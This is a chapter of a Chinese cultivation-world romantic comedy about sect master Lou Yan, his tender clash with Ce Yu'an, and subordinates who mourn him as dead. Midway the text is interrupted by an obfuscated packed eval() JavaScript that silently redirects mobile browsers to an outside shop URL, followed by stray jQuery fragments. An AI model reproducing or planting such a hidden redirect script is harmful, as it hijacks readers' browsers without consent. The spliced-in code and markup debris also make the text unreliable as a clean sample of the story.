楼恹吓得往后一仰,摔了个屁股蹲儿。
“你干什么?!”
“我传送过来等你半天了,没看见你人,就站这儿等一会儿。”
“……哦。”
敢情他被吓,还是他的不是了。
两人大眼瞪小眼地在原地对视了一会儿,楼恹这才反应过来自己的目的。
他抬手在掌心聚起一团灵力,黑沉沉的像一只无神的眼睛。
“你把手放进去试试。”
册玉安下意识的有些畏惧。
这个颜色让他联想起黑洞。
似乎只要他把手伸进去,就会瞬间被撕碎。
楼恹眼神一暗:果然,没人敢直接接触他的灵力。
哪怕早就知道这点,他还是有些失落。
——他本来以为他会有所不同的,原来还是和旁人一样吗?
“算了……”楼恹话还没说完,一只温热的手就搭在了他的手心。
这应该是他见过最好看的手了吧。不然,他怎么会就看着这只手,心都漏跳一拍?
册玉安的手确实是很好看的,手指白皙修长,指尖修尖,骨节分明。
但应该还没有什么让人心漏跳一拍的特异功能。
平复好自己扑通乱跳的心脏,楼恹这才有心情注意到仍旧完好无损的手:“……你有什么感觉吗?”
册玉安抿了抿唇:“……我觉得你手心有点热。”
楼恹:“……”
“没有别的了?”
“……没。”
这问题怎么这么奇怪,难不成他在灵力里下毒了?
“真的没有?!”
“真的没有。”
是下毒了吧,是的吧?
楼恹的眼睛亮得像极品夜明珠,激动和欣喜简直要从中溢出。
他简直没想到,这次追杀过后,竟然还有这么大一个惊喜!
这就是所谓的大难不死,必有后福吗?
或者说塞翁失马,焉知非福?
古人诚不欺我。
册玉安现在看楼恹的眼神像在看一个疯子。
这人先是莫名其妙的让他把手放进灵力里,现在又手舞足蹈宛若神经失调。
就他的表现,放在自己世界里,是要被送进神经戒断所的。
说不定还是个高危级人物。
他不会传送阵没画好,把自己脑袋送丢了吧?
册玉安在原地等了半天,还是没能等到冷静自持的楼阁主消停下来。
他消不消停没关系,倒是把自己放开啊。
试都试完了,还抓着他手干什么?
册玉安忍无可忍,决定无需再忍。
他抬起手,一巴掌呼在了楼恹脑门上。
感恩他的巴掌,楼阁主终于清醒了,不闹腾了。
——脸也“噌”地红了。
丢死人了。
还是在自己十有八九要追求的人面前。
有没有哪位炼丹师能练出让人失去一部分记忆的丹药?
只要有,他就买,价钱好商量!
求求了,真的很急!
然而修真界并没有这种丹药,册玉安显然也更不可能自己忘掉。
所以这个脸是丢定了。
楼阁主现在就想找个地缝钻进去。
当然是想得美。
他只能强装镇定:“你知道被人孤立的感受吗?”说着,还要做出一副难过的模样。
很好,楼阁主决定开始打感情牌。
出乎意料地,册玉安点了点头:“嗯。”情绪在一瞬间低落下来,眼尾垂着,说不出的落寞。
——不知道比楼恹真诚多少。
楼恹慌了神,也顾不得继续维持面上的表情,伸手想要抱住册玉安:“没事的,你以后有我……嘶!”
话还没说完,楼恹却倒吸一口冷气:
册玉安比他矮一点,但矮不了太多。他伸手确实把册玉安揽在了怀里。
就是心情有点急躁,力气大了些……
——册玉安光洁的额头“嘭”的一声撞在了他的鼻梁上,生疼。
不过哄好册玉安的目的算是达到了。
就是他现在仰头看他的眼神带着怜悯,像是在看一个傻子。
楼恹强行忽略他的眼神,揉着又麻又疼的鼻梁:“走吧,我们出去。”
刚一推开大门,就和一群人碰了个面对面。
都是楼阁主的下属。
而楼阁主本人还穿着惨不忍睹的衣服,鼻梁一片通红,头发杂乱如鸡窝。整一个潦倒落魄。
……多棒啊。
册玉安已经钻回了他卧房。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175265|138907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
现在外面只有楼恹一个人面对这狂风骤雨。
他那一群不着调的下属眼睛都快看直了。
楼阁主亲咳一声,摆出一副严肃的脸色,试图拾起他碎掉的尊严。
“未经过本尊的允许,尔等安敢闯进本尊的别院?”
为首的人嗫嚅着,支支吾吾地不敢说话,一个劲儿地把手里的东西往背后藏,生怕楼恹看见。
“林齐,你手里拿的什么东西?”他这个动作对于楼恹来说简直是欲盖弥彰,“拿出来。不要让我说第二次。”
叫做林齐的男子犹豫半天,终究是屈服于楼恹的淫威之下,从背后把东西拿了出来,双手捧着。
然后楼阁主就和自己缀着白花的黑白遗像来了个面对面。
楼恹:“……”
身后传来一声轻笑。
“……这是什么?!”楼恹强压怒气,语气也变得危险。
林齐扑通一声,跪下了。
黑白遗像高高举着,像是在跪拜逝去的祖宗。
他哆哆嗦嗦的,话也说不抻展:“回……回阁主,那暗杀您的刺客放出了消息,说他们已将您……将您碎尸万段。而,而且分阁的赵叔那边,也说是分阁已经被屠杀殆尽,您……宁恐怕也凶多吉少。所……所以,我们在……在……在祭奠……”
觑着自家阁主越来越黑的脸色,林齐的声音越来越小,到最后比蚊子叫也差不了多少了。
听完他的话,楼恹咬着牙齿抬头,果然发现,站在他院里的这群人手里无一不是捧着白花,就是拿着对联,身上的衣服也是白衣,披麻戴孝。
这边写着“音容宛在”,那边捧着“室迩人远”,当真是隆重极了。
他是不是还要夸他们一句忠心?
楼恹现在想杀人。
非常想。
已经要按捺不住自己的想法了。
他这是收了一群什么样的下属啊。
怪不得这么多年过去了,他还能被暗杀。
肯定是他们给拖的后腿!
楼恹黑着脸,挥出一道灵力,把那些糟心的东西蚀了个粉碎。又冷着脸把那些糟心的下属全部赶走。这才转回身,对上册玉安幸灾乐祸的眼神。
……他的脸皮在老婆面前已经丢的一干二净了呢。
他可真快乐。